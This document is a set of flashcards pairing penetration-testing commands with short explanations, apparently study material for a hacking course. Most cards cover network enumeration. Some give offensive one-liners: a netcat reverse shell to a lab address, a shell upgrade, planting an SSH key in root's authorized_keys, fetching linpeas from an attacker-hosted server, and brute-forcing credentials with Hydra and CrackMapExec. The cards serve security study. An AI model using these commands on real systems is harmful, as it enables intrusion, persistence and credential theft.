Commands Flashcards
(45 cards)
ifconfig/ip a
Show our IP address
netstat -rn
Show networks accessible
ssh user@10.10.10.10
SSH to a remote server
ftp 10.129.42.253
FTP to a remote server
nmap -sV -sC 10.129.42.253
Run an nmap script scan
nmap –script smb-os-discovery.nse -p445 10.10.10.40
Run the smb os discovery nmap script
smbclient -N -L \\10.129.42.253
List SMB shares with no user
smbclient \\10.129.42.253\users
Connect to the SMB share “Users”
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0
scan SNMP using the ‘public’ community string.
onesixtyone -c dict.txt 10.129.42.254
Bruteforce SNMP community string
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
Simple directory scan using the common.txt wordlist
searchsploit openssh 7.2
search for an openssh 7.2 exploit
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
Creates an interactive reverse shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’
ctrl+z then stty raw -echo then fg then enter twice
How to upgrade a shell into an interactive one using Python
ssh-keygen -f key
Generates a new SSH key
echo “ssh-rsa AAAAB…SNIP…M= user@host”»_space; /root/.ssh/authorized_keys
Adds a generated key into the authorized keys folder.
ssh root@10.10.10.10 -i key
SSH using a key.
python3 -m http.server 8000
Start a python HTTP server that files can be pulled down from.
scp linenum.sh user@remotehost:/tmp/linenum.sh
Copy a file via SSH
wget http://10.10.14.1:8000/linpeas.sh
Pulls down a file from a webserver, in this case linpeas.sh
nmap -Pn 10.10.10.10
Disables ICMP Echo Requests
crackmapexec winrm <ip> -u user.list -p password.list</ip>
Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.
crackmapexec smb <ip> -u "user" -p "password" --shares</ip>
Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.
hydra -L user.list -P password.list <service>://<ip></ip></service>
Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.